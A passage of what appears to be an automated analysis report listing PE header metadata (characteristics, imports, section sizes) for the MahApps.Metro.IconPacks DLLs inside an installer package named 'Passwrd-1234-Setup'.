IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Core.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 17KB - Virtual size: 16KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Entypo.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 487KB - Virtual size: 487KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.EvaIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 414KB - Virtual size: 413KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.FeatherIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 104KB - Virtual size: 103KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.FileIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.5MB - Virtual size: 2.5MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.FontAwesome.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.3MB - Virtual size: 2.3MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Fontaudio.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 395KB - Virtual size: 395KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Fontisto.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.7MB - Virtual size: 2.7MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.ForkAwesome.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 1.0MB - Virtual size: 1.0MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Ionicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 807KB - Virtual size: 806KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.JamIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 1.2MB - Virtual size: 1.2MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Material.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 4.7MB - Virtual size: 4.7MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.MaterialDesign.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 467KB - Virtual size: 466KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.MaterialLight.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 267KB - Virtual size: 266KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Microns.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 67KB - Virtual size: 66KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Modern.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.3MB - Virtual size: 2.3MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Octicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 135KB - Virtual size: 135KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.PicolIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 737KB - Virtual size: 737KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.PixelartIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 133KB - Virtual size: 132KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.RPGAwesome.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 1.2MB - Virtual size: 1.2MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.RadixIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 598KB - Virtual size: 597KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.RemixIcon.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.0MB - Virtual size: 2.0MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.SimpleIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 5.9MB - Virtual size: 5.9MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Typicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 547KB - Virtual size: 547KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Unicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 1.2MB - Virtual size: 1.2MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.VaadinIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
